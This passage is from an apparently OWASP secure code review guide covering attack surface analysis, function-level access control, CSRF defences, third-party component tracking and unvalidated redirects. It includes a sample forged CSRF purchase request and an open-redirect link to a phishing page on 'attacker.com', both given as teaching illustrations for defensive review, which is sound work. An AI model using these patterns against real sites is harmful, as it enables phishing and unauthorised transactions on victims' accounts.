HashAlgorithm.Create((string)ConfigurationManager.AppSettings[“HashMethod”]); 2: 3: hash = computeHash(preferredHash, testString); 4: 5: private string computeHash(HashAlgorithm myHash, string input) { 6: byte[] data; 7: data = myHash.ComputeHash(Encoding.UTF8.GetBytes(input)); 8: sb = new StringBuilder(); 9: for (int i = 0; i < data.Length; i++) { 10: sb.Append(data[i].ToString(“x2”)); 11: } 12: return sb.ToString(); 13: } Sample 12.5 A6 - Sensitive Data Exposure 131 Michael Howard (at Microsoft) and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the Relative Attack Surface Quotient (RSQ). It is assumed that the application Attack Surface is already known, probably through some previous threat modeling exercise, or Architectural Risk Analysis. Therefor the entry and exit points are known, the sensitivity of the data within the application is understood, and the various users of the system, and their entitlements, have been mapped in relation to the functions and data. From a code review point of view, the aim would be to ensure the change being reviewed is not unnecessarily in- creasing the Attack Surface. For example, is the code change suddenly using HTTP where only HTTPS was used before? Is the coder deciding to write their own hash function instead of using the pre-existing (and well exercised/ tested) central repository of crypto functions? In some development environments the Attack Surface changes can be checked during the design phase if such detail is captured, however at code review the actual implementation is reflected in the code and such Attack Surface exposures can be identified. You can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like the OWASP Zed Attack Proxy Project (ZAP), Arachni, Skipfish, w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web. Once you have a map of the Attack Surface, identify the high risk areas, then understand what com- pensating controls you have in place. Note that backups of code and data (online, and on offline media) are an important but often ignored part of a sys- tem’s Attack Surface. Protecting your data and IP by writing secure software and hardening the infrastructure will all be wasted if you hand everything over to bad guys by not protecting your backups. What to Review When reviewing code modules from an Attack Surface point of view, some common issues to look out for include: • Does the code change modify the attack surface? By applying the change to the current Attack Surface of the ap- plication does it open new ports or accept new inputs? If it does could the change be done in a way that does not increase the attack surface? If a better implementation exists then that should be recommended, however if there is no way to implement the code without increasing the Attack Surface, make sure the business knows of the increased risk. • Is the feature unnecessarily using HTTP instead of HTTPS? • Is the function going to be available to non-authenticated users? If no authentication is necessary for the function to be invoked, then the risk of attackers using the interface is increased. Does the function invoke a backend task that could be used to deny services to other legitimate users? o E.g. if the function writes to a file, or sends an SMS, or causes a CPU intensive calculation, could an attacker write a script to call the function many times per second and prevent legitimate users access to that task? • Are searches controlled? Search is a risky operation as it typically queries the database for some criteria and returns the results, if attacker can inject SQL into query then they could access more data than intended. • Is important data stored separately from trivial data (in DB, file storage, etc). Is the change going to allow unauthen- ticated users to search for publicly available store locations in a database table in the same partition as the username/ password table? Should this store location data be put into a different database, or different partition, to reduce the risk to the database information? A6 - Sensitive Data Exposure 132 • If file uploads are allowed, are they be authenticated? Is there rate limiting? Is there a maximum file size for each upload or aggregate for each user? Does the application restrict the file uploads to certain types of file (by checking MIME data or file suffix). Is the application is going to run virus checking? • If you have administration users with high privilege, are their actions logged/tracked in such a way that they a) can’t erase/modify the log and b) can’t deny their actions? o Are there any alarms or monitoring to spot if they are accessing sensitive data that they shouldn’t be? This could apply to all types of users, not only administrators. • Will changes be compatible with existing countermeasures, or security code, or will new code/countermeasures need to be developed? • Is the change attempting to introduce some non-centralized security code module, instead of re-using or extending an existing security module? • Is the change adding unnecessary user levels or entitlements that will complicate the attack surface. • If the change is storing PII or confidential data, is all of the new information absolutely necessary? There is little value in increasing the risk to an application by storing the social security numbers of millions of people, if the data is never used. • Does application configuration cause the attack surface to vary greatly depending on configuration settings, and is that configuration simple to use and alert the administrator when the attack surface is being expanded? • Could the change be done in a different way that would reduce the attack surface, i.e instead of making help items searchable and storing help item text in a database table beside the main username/password store, providing static help text on HTML pages reduces the risk through the ‘help’ interface. • Is information stored on the client that should be stored on the server? 1.2.3 References https://www.owasp.org/index.php/Attack_Surface_Analysis_Cheat_Sheet https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf A6 - Sensitive Data Exposure 133 A7 134 A7 - Missing Function Level Access Control Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization. 13.1 Authorization Authorization is as important as authentication. Access to application functionality and access to all data should be authorized. For data access authorization, application logic should check if the data belongs to the authenticated user, or if the user should be able to access that data. Placement of security checks is a vital area of review in an application design. Incorrect placement can render the applied security controls useless, thus it is important to review the application design and determine the correctness of such checks. Many web application designs are based on the concept of Model-View-Controller (MVC) that have a central controller which listens to all incoming request and delegates control to appropriate form/business process- ing logic. Ultimately the user is rendered with a view. In such a layered design, when there are many entities involved in processing a request, developers can go wrong in placing the security controls in the incorrect place, for example some application developers feel “view” is the right place to have the authorization checks. Authorization issues cover a wide array of layers in a web application; from the functional authorization of a user to gain access to a particular function of the application at the application layer, to the Database access authorization and least privilege issues at the persistence layer. In most of the applications the request parameters or the URL’s serve as sole factors to determine the processing logic. In such a scenario the elements in the request, which are used for such identifications, may be subject to manipula- tion attacks to obtain access to restricted resources or pages in the application. There are two main design methods to implements authorization: Role Base Access Control (RBAC) and Access Con- trol Lists (ACLs). RBAC is used when assigning users to roles, and then roles to permissions. This is a more logical modeling of actual system authorization. It also allows administrators to fine-grain and re-check role-permission as- signments, while making sure that every role has the permissions it is supposed to have (and nothing more or less). Thus assigning users to roles should reduce the chance of human-error. Many web frameworks allow roles to be assigned to logged in users, and custom code can check the session information to authorize functionality based on the current users role. 13.2 Description It seems logical to restrict the users at the page/view level they won’t be able to perform any operation in the appli- cation. But what if instead of requesting for a page/view an unauthorized user tries to request for an internal action such as to add/modify any data in the application? It will be processed but the resultant view will be denied to the user; because the flaw lies in just having a view based access control in the applications. Much of the business logic processing (for a request) is done before the “view” is executed. So the request to process any action would get pro- cessed successfully without authorization. In an MVC based system given this issue is shown in figure 11 below, where the authentication check is pres- ent in the view action. MISSING FUNCTION LEVEL ACCESS CONTROL A7 135 A7 - Missing Function Level Access Control In this example neither the controller servlet (central processing entity) nor the action classes have any access control checks. If the user requests an internal action such as add user details, without authentication, it will get processed, but the only difference is that the user will be shown an error page as resultant view will be disallowed to the user. A similar flaw is observed in ASP.NET applications where the developers tend to mix the code for handling POSTBACK’s and authentication checks. Usually it is observed that the authentication check in the ASP.NET pages are not applied for POSTBACKs, as indicated below. Here, if an attacker tries to access the page without authentication an error page will be rendered. Instead, if the attacker tries to send an internal POSTBACK request directly without authentication it would succeed. Unused or undeclared actions or functionality can present in the configuration files. Such configurations that are not exposed (or tested) as valid features in the application expand the attack surface and raise the risk to the application. An unused configuration present in a configuration file is shown in sample 13.1, where the ‘TestAction’ at the end of the file has been left over from the testing cycle and will be exposed to external users. It is likely this action would not be checked on every release and could expose a vulnerability. CONTROLLER SERVIET ACTION CLASS EXECUTE{} 1. REQUEST 7. RESPONSE Config.xml 2 READ CONFIG FILE 3 RETURN ACTION MAPPING URL = ACTION Authentication check built inside the view 4 INTANTIATE ACTION CLASS AND CALLS EXECUTE METHOD 5 RETURN DATA TO BE VIEWED/ EDITED 6 RENDER VIEW AND DATA AUTH CHECK VIEW Figure 11: MVC Access Control <mapping> <url>/InsecureDesign/action/AddUserDetails</url> <action>Action.UserAction</action> Sample 13.1 136 Another popular feature seen in most of the design frameworks today is data binding, where the request parameters get directly bound to the variables of the corresponding business/command object. Binding here means that the instance variables of such classes get automatically initialized with the request parameter val- ues based on their names. The issue with this design is that the business objects may have variables that are not dependent on the request parameters. Such variables could be key variables like price, max limit, role etc. having static values or dependent on some server side processing logic. A threat in such scenarios is that an at- tacker may supply additional parameters in request and try to bind values for unexposed variable of business object class. In this case the attacker can send an additional “price” parameter in the request which binds with the unexposed variable “price” in business object, thereby manipulating business logic. What to Review It is imperative to place all validation checks before processing any business logic and in case of ASP.NET applications independent of the POSTBACKs. The security controls like authentication check must be place before processing any request. The use of filters is recommended when authorization is being implemented in MVC 3 and above as .NET MVC 3 introduced a method in global.asax called RegisterGlobalFilters which can be used to default deny access to URL’s in the application. It is recommended when reviewing MVC3/4 .NET to take a look at how authorization is being implemented. The line above, “filters.Add(new System.Web.Mvc.AuthorizeAttribute());” default denies access to any request without a valid <success>JSP_WithDesign/Success.jsp</success> </mapping> <mapping> <url>/InsecureDesign/action/ChangePassword</url> <action>Action.ChangePasswordAction</action> <success>JSP_WithDesign/Success.jsp</success> </mapping> <mapping> <url>/InsecureDesign/action/test</url> <action>Action.TestAction</action> <success>JSP_WithDesign/Success.jsp</success> </mapping> public static void RegisterGlobalFilters(GlobalFilterCollection filters) { filters.Add(new HandleErrorAttribute()); filters.Add(new System.Web.Mvc.AuthorizeAttribute()); } Sample 13.2 A7 - Missing Function Level Access Control 137 session. If this is implemented we may need to provide unauthorized access to certain pages such as a registration page, public welcome page or a login page. The directive “AllowAnonymous” is used to provide access to public pages with no valid session required. The code may look like this: When reviewing code for authorization, the following considerations can be checked for: • Every entry point should be authorized. Every function should be authorized. • Authorization checks should be efficient, and implemented in a central code base such that it can be applied consistently. • In cases where authorization fails, a HTTP 403 not authorized page should be returned. • When using RBAC, there must be some way for the application to report on the currently provisioned users of the system and their associated roles. This allows the business to periodically audit the user access to the system and ensure it is accurate. For example, if a user is provisioned as an admin on the system, then that user changes job to another department, it could be the case that the admin role is no longer appropriate. • There should be an easy method to change or remove a user’s role (in RBAC systems). Adding, modifying or remov- ing a user from a role should result in audit logs. • For roles that are higher risk, addition, modification and deletion of those roles should involve multiple levels of authorization (e.g. maker/checker), this may be tracked within the application itself, or through some centralized role application. Both the functionality and code of the system controlling roles should be part of the review scope. • At a design level attempt to keep the range of roles simple. Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges. • In application architectures with thick clients (i.e. mobile apps or binaries running on a PC) do not attempt to perform any authorization in the client code, as this could be bypassed by an attacker. In browser based applications do not perform any authorization decisions in JavaScript. • Never base authorization decisions on untrusted data. For example do not use a header, or hidden field, from the client request to determine the level of authorization a user will have, again this can be manipulated by an attacker. • Follow the principle of ‘complete mediation’, where authorization is checked at every stage of a function. For exam- ple, if an application has four pages to browse through to purchase an item (browse.html, basket.html, inputPay- ment.html, makePayment.html) then check user authorization at every page, and stage within pages, instead of only performing a check in the first page. [AllowAnonymous] public ActionResult LogMeIn(string returnUrl) Sample 13.3 A7 - Missing Function Level Access Control 138 • By default deny access to any page, and then use authorization logic to explicitly allow access based on roles/ ACL rules. • Where to hold authorization data, DB or session? • Remove all redundant/test/unexposed business logic configurations from the file • The business/form/command objects must have only those instance variables that are dependent on the user inputs. A7 - Missing Function Level Access Control 139 A8 140 A8 - Cross-Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim. 14.1 Description CSRF is an attack which forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF ex- ploit can compromise end user data, and protected functionality, in the case of a normal privileged user. If the targeted end user is the administrator account, this can compromise the entire web application. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vul- nerable application. For example, this attack could result in a transfer of funds, changing a password, or pur- chasing an item in the user’s context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target’s browser without knowledge of the target user, at least until the unauthorized function has been committed. CSRF is not the same as XSS (Cross Site Scripting), which forces malicious content to be served by a trusted website to an unsuspecting victim. Cross-Site Request Forgery (CSRF, a.k.a C-SURF or Confused-Deputy) at- tacks are considered useful if the attacker knows the target is authenticated to a web based system. They only work if the target is logged into the system, and therefore have a small attack footprint. Other logical weak- nesses also need to be present such as no transaction authorization required by the user. In effect CSRF attacks are used by an attacker to make a target system perform a function (Funds Transfer, Form submission etc..) via the target’s browser without the knowledge of the target user, at least until the unauthorized function has been committed. A primary target is the exploitation of “ease of use” features on web applications (One-click purchase). Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific ‘task url’. The task then executes with or without the user’s knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm). How They Work CSRF attacks work by sending a rogue HTTP request from an authenticated user’s browser to the application, which then commits a transaction without authorization given by the target user. As long as the user is au- thenticated and a meaningful HTTP request is sent by the user’s browser to a target application, the applica- tion does not know if the origin of the request is a valid transaction or a link clicked by the user (that was, say, in an email) while the user is authenticated to the application. The request will be authenticated as the request from the users browser will automatically include the ‘Cookie’ header, which is the basis for authentication. So CROSS-SITE REQUEST FORGERY (CSRF) A8 141 A8 - Cross-Site Request Forgery (CSRF) an attacker makes the victim perform actions that they didn’t intend to, such as purchase an item. Sample 14.1 shows an example an HTTP POST to a ticket vendor to purchase a number of tickets. What to Review This issue is simple to detect, but there may be compensating controls around the functionality of the application which may alert the user to a CSRF attempt. As long as the application accepts a well formed HTTP request and the request adheres to some business logic of the application CSRF shall work. By checking the page rendering we need to see if any unique identifiers are appended to the links rendered by the application in the user’s browser. If there is no unique identifier relating to each HTTP request to tie a HTTP request to the user, we are vulnerable. Session ID is not enough, as the session ID shall be sent automatically if a user clicks on a rogue link, as the user is already authenticated. Prevention Measures That Do NOT Work Examples of attempted CSRF prevent techniques which attackers can bypass are listed in table 21, these measures should not be used in sensitive applications and should fail code review. POST http://TicketMeister.com/Buy_ticket.htm HTTP/1.1 Host: ticketmeister User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;) Firefox/1.4.1 Cookie: JSPSESSIONID=34JHURHD894LOP04957HR49I3JE383940123K ticketId=ATHX1138&to=PO BOX 1198 DUBLIN 2&amount=10&date=11042008 The response of the vendor is to acknowledge the purchase of the tickets: HTTP/1.0 200 OK Date: Fri, 02 May 2008 10:01:20 GMT Server: IBM_HTTP_Server Content-Type: text/xml;charset=ISO-8859-1 Content-Language: en-US X-Cache: MISS from app-proxy-2.proxy.ie Connection: close <?xml version=”1.0” encoding=”ISO-8859-1”?> <pge_data> Ticket Purchased, Thank you for your custom. </pge_data> Sample 14.1 Measure Description Using a Secret Cookie Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Further- more, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. Table 21: Unsuccessful Countermeasures For Csrf Attacks 142 Password, transferring funds, purchasing, the application may not simply execute the request, but should re- spond to the request with another request for the user’s password, or an out-of-band (i.e. two-factor) authen- tication item. Preventing CSRF Checking if the request has a valid session cookie is not enough, the application needs to have a unique iden- tifier assocaited with every HTTP request sent to the application. CSRF requests (from an attackers e-mail) will not have this valid unique identifier. The reason CSRF requests won’t have this unique request identifier is the unique ID is rendered as a hidden field, or within the URL, and is appended to the HTTP request once a link/ button press is selected. The attacker will have no knowledge of this unique ID, as it is random and rendered dynamically per link, per page. Application logic to prevent CSRF then include: 1. A list of unique IDs is compiled prior to delivering the page to the user. The list contains all valid unique IDs generated for all links on a given page. The unique ID could be derived from a secure random generator such as SecureRandom for J2EE and could be stored in the session or another centralized cache. 2. A unique ID is appended to each link/form on the requested page prior to being displayed to the user. 3. The application checks if the unique ID passed with the HTTP request is valid for a given request. If the unique ID passed with the HTTP request is valid for a given request. 4. If the unique ID is not present, terminate the user session and display an error to the user. General Recommendation: Synchronizer Token Pattern In order to facilitate a “transparent but visible” CSRF solution, developers are encouraged to adopt the Syn- chronizer Token Pattern http://www.corej2eepatterns.com/Design/PresoDesign.htm. The synchronizer token pattern requires the generating of random “challenge” tokens that are associated with the user’s current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploita- tion assumes the attacker knows the randomly generated token for the target victim’s session. This is analo- gous to the attacker being able to guess the target victim’s session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request. When a Web application formulates a request (by generating a link or form that causes a request when submitted or A8 - Cross-Site Request Forgery (CSRF) Applications can be developed to only accept POST requests for the execution of business logic. The misconcep- tion is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunate- ly, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else. Salt = ‘a0w8hsdfas8ls587uas87’ URL Rewriting Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible. This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim’s session ID. However, the user’s credential is exposed over the URL. Only Accepting POST Requests 143 clicked by the user), the application should include a hidden input parameter with a common name such as “CSRFTo- ken”. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token. Depending on the risk level of the product, it may only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress. To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the “Back” button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, devel- opers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS. Disclosure of Token in URL Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site. In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). This attack scenario is easy to prevent, the referer will be omitted if the origin of the request <form action=”/transfer.do” method=”post”> <input type=”hidden” name=”CSRFToken” value=”OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE... wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ... MGYwMGEwOA==”> … </form> Sample 14.2 A8 - Cross-Site Request Forgery (CSRF) 144 is HTTPS. Therefore this attack does not affect web applications that are HTTPS only. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the RFC 2616 requires for GET requests. If sen- sitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. Viewstate (ASP.NET) ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a <form runat=”server”> control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs add the following in the OnInit virtual method of the page-derived class (This property must be set in the Page.Init event) To key the Viewstate to an individual using a unique value of your choice use “(Page.ViewStateUserKey)”. This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1. However, there are limitations on this mechanism. Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF. Double Submit Cookies Double submitting cookies is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value are equal. When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user’s machine separate from the session id. The site does not have to save this value in any way. The site should then require every sensitive submission to include this random value as a hidden form value (or other request parameter) and also as a cookie value. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with a mali- cious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the random CSRF value. Direct Web Remoting (DWR) Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently. The above CSRF prevents rely on the use of a unique token and the Same-Origin Policy to prevent CSRF by maintain- ing a secret token to authenticate requests. The following methods can prevent CSRF by relying upon similar rules protected override OnInit(EventArgs e) { base.OnInit(e); if (User.Identity.IsAuthenticated) ViewStateUserKey = Session.SessionID; } Sample 14.3 A8 - Cross-Site Request Forgery (CSRF) 145 that CSRF exploits can never break. Checking The Referer Header Although it is trivial to spoof the referer header on your own browser, it is impossible to do so in a CSRF attack. Check- ing the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state. This makes a referer a useful method of CSRF prevention when memory is scarce. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token. However, checking the referer is considered to be a weaker from of CSRF protection. For example, open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check and some organiza- tions or browser tools remove referrer headers as a form of data protection. There are also common implementation mistakes with referer checks. For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted. In this case the lack of a referer should be considered to be an attack when the request is performing a state change. Also note that the attacker has limited influence over the referer. For example, if the victim’s domain is “site. com” then an attacker have the CSRF exploit originate from “site.com.attacker.com” which may fool a broken referer check implementation. XSS can be used to bypass a referer check. In short, referer checking is a reasonable form of CSRF intrusion detection and prevention even though it is not a complete protection. Referer checking can detect some attacks but not stop all attacks. For example, if the HTTP referrer is from a different domain and you are expecting requests from your domain only, you can safely block that request. Checking The Origin Header The Origin HTTP Header standard was introduced as a method of defending against CSRF and other Cross-Domain attacks. Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS URL. If the origin header is present, then it should be checked for consistency. Challenge-Response Challenge-Response is another defense option for CSRF. As mentioned before it is typically used when the func- tionality being invoked is high risk. While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions. The following are some examples of challenge-response options: • CAPTCHA • Re-Authentication (password) • One-time Token No Cross-Site Scripting (XSS) Vulnerabilities Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses. This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and in- clude that token with a forged request. This technique is exactly how the MySpace (Samy) worm defeated MySpace’s anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can’t be circumvented. A8 - Cross-Site Request Forgery (CSRF) 146 A9 147 A9 - Using Components with Known Vulnerabilities Components, such as libraries, frameworks, and other software modules, almost always run with full privileg- es. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts. 15.1 Description Today it would be rare for an application or software component to be developed without the re-use of some open source or paid-for library or framework. This makes a lot of sense as these frameworks and libraries are already developed and working, and have had a good degree of testing applied. However these third party components can also be a source of security vulnerabilities when an attacker finds a flaw in the components code, in fact this flaw has added attraction since the attacker knows the exploit will work on everyone who is using the component. This issue has matured to such a state that flaws/exploits for popular frameworks, libraries and operating sys- tems are sold on underground markets for large sums of money. What to Review There is really no code to review for this topic, unless your organization has taken it upon itself to review the code of the component (assuming its open source and not a closed source third party library), in which case the code review would be similar to any other audit review. However code review can be used within the larger company-wide track- ing or audit mechanisms that lets the organization know what third party code it is using. Regardless of the size of company, the use of third party components, and their versions, should be tracked to en- sure the organization can be alerted when any security vulnerabilities are flagged. For smaller companies with 1 or 2 products this tracking could be as easy as a spreadsheet or wiki page, however for larger companies with 100s of applications or products, the task of tracking developer use of third party frameworks and libraries is equally as large as the risk posed by those libraries. If a company has 20 products and each of those products use 5 or 6 third party components (e.g. Apache web servers, OpenSSL crypto libraries, Java libraries for regex and DB interactions, etc.) that leaves the company with over 100 external sources where security vulnerabilities can come from. If the company suddenly hears of a heartbleed type vulnerability, it has to be able to react and upgrade those affected applications, or take other countermeasures, to protect itself and its customers. Controlling the Ingredients One method used by larger companies to limit their exposure to third party vulnerabilities is to control which librar- ies can be used by their developers. For example they could specify that developers should use a certain version of OpenSSL as the crypto library instead of other options. This allows management and risk controllers to know their risk profile to vulnerabilities on the market, if a bug ap- pears in bouncycastle, they know they are not exposed (i.e. some developer didn’t use bouncycastle on one of the products, because it’s not on the list of crypto libraries to use). On the other hand, if there is a bug in OpenSSL, all their eggs are in that basket and they need to upgrade immediately. USING COMPONENTS WITH KNOWN VULNERABILITIES A9 148 A9 - Using Components With Known Vulnerabilities There will obviously be technical challenges to limiting the choices of third party components, and such a policy could be unpopular with developers who’ll want to use the latest and greatest framework, but the first step to secur- ing a product is knowing what ingredients you’ve made it with. How can such a policy be tracked or enforced? At some point the library or framework, in the form of .dll/.so or as source code, will be integrated into the codeline. Such integrations should be subject to code review, and as a task of this code review the reviewer can check: 1. The library is one that can be used in the product suite (or maybe is already used and the developer is simply unaware, in which case the review should be rejected and the original integration used) 2. Any tracking or auditing software (even a basic spread sheet) is updated to reflect that the product is using the third party library. This allows for rapid remediation if a vulnerability appears, meaning the product will be patched. SledgeHammer to Crack a Nut One last responsibility of the reviewer will be to ensure the correct third party library is being used for the function- ality needed. Many libraries come with vast amounts of functionality which may not be used. For example, is the developer including a library to perform their regex’s, but which also will include other functionality not used/needed by the application? This increases the attack surface of the application and can cause unexpected behavior when that extra code opens a port and communicates to the internet. If the reviewer thinks too much functionality/code is being introduced they can advise to turn off non-used function- ality, or better still find a way to not include that functionality in the product (e.g. by stripping out code, or hardcoding branches so unused functions are never used). The OWASP project “OWASP Dependency Check” can provide a measure of automation for library checking (https://www.owasp.org/index.php/OWASP_Dependency_Check) 149 A10 150 Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to de- termine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. 16.1 Description Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a site, an attacker may successfully launch a phishing scam and steal user credentials. As the server name in the modified link is identical to the original site, phishing attempts may have a more trust- worthy appearance. Invalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. Redirects Redirect functionality on a web site allows a user’s browser to be told to go to a different page on the site. This can be done to improve user interface or track how users are navigating the site. To provide the redirect functionality a site may have a specific URL to perform the redirect: • http://www.example.com/utility/redirect.cgi This page will take a parameter (from URL or POST body) of ‘URL’ and will send back a message to the user’s browser to go to that page, for example: • http://www.example.com/utility/redirect.cgi?URL=http://www.example.com/viewtxn.html However this can be abused as an attacker can attempt to make a valid user click on a link that appears to be for www.example.com but which will invoke the redirect functionality on example.com to cause the users browser to go to a malicious site (one that could look like example.com and trick the user into entering sensitive or authentication information: • http://www.example.com/utiltiy/redirect cgi?URL=http://attacker.com/fakelogin.html Forwards Forwards are similar to redirects however the new page is not retrieved by the users browser (as occurred with the redirect) but instead the server framework will obtain the forwarded page and return it to the users browser. This is achieved by ‘forward’ commands within Java frameworks (e.g. Struts) or ‘Server.Transfer’ in .Net. As the forward is per- formed by the server framework itself, it limits the range of URLs the attacker can exploit to the current web site (i.e. attacker cannot ‘forward’ to attacker.com), however this attack can be used to bypass access controls. For example, where a site sends the forwarded page in the response: • If purchasing, forward to ‘purchase.do’ • If cancelling, forward to ‘cancelled.do’ This will then be passed as a parameter to the web site: • http://www.example.com/txn/acceptpayment.html?FWD=purchase UNVALIDATED REDIRECTS AND FORWARDS A10 A10 - Unvalidated Redirects And Forwards 151 A10 - Unvalidated Redirects And Forwards If instead an attacker used the forward to attempt to access to a different page within the web site, e.g. admin.do, then they may access pages that they are not authorized to view, because authorization is being applied on the ‘accept- payment’ page, instead of the forwarded page. What to Review If any part of the URL being forwarded, or redirected, to is based on user input, then the site could be at risk. Ensure: • All redirects/forwards are constructed based on a whitelist, or • All redirtects/forwards use reletive paths to ensure they stay on the trusted site Redirects The following examples demonstrate unsafe redirect and forward code. The following Java code receives the URL from the ‘url’ parameter and redirects to that URL. The following PHP code obtains a URL from the query string and then redirects the user to that URL. A similar example of C# .NET Vulnerable Code: The above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a ma- licious site. If user input has to be used as part of the URL to be used, then apply strict 